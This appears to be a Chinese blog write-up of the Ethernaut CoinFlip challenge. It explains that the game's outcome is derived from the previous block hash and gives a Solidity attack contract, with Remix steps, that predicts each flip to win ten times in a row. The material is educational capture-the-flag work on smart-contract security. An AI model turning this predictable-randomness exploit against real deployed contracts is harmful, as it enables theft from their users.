抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

CoinFilp

1. 题目要求

这是一个掷硬币的游戏,你需要连续的猜对结果。

完成这一关,你需要通过你的超能力来连续猜对十次。

2. 分析

2.1 tips: 参考视频

  • 2.2 _guess = uint256(blockhash(block.number.sub(1))).div(FACTOR) == 1 ? true : false2)我们知道不能flip()在同一个块中调用多次;否则该功能将恢复。这意味着要通过挑战,我们至少需要猜对 11 个区块

  • 2.3 攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Hack {
CoinFlip private immutable target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;


constructor (address _target) {
target = CoinFlip(_target);
}

function flip() external {
bool guess = _guess();
require(target.flip(guess),"guess failed");
}

function _guess() private view returns(bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side;
}
}
  • 2.3 调用 10次 攻击合约的 flip() 函数 来改变 CoinFilp 合约中 consecutiveWins 的值

  • image-20230223203130364

3. 解题

  • 3.1 获取关卡的实例:0x2F3D37ae048f36c8B2674aB1a4B8D3Bab4B6B716

  • 3.2 在remix中调用关卡合约

  • 3.3 部署攻击合约

  • image-20230224132252004

  • 3.5 调用 11次 合约中filp() 函数

  • image-20230224133440724

  • 3.6 提交实例并查看结果

  • image-20230224133554357

  • 成功!!!

评论



政策 · 统计 | 本站使用 Volantis 主题设计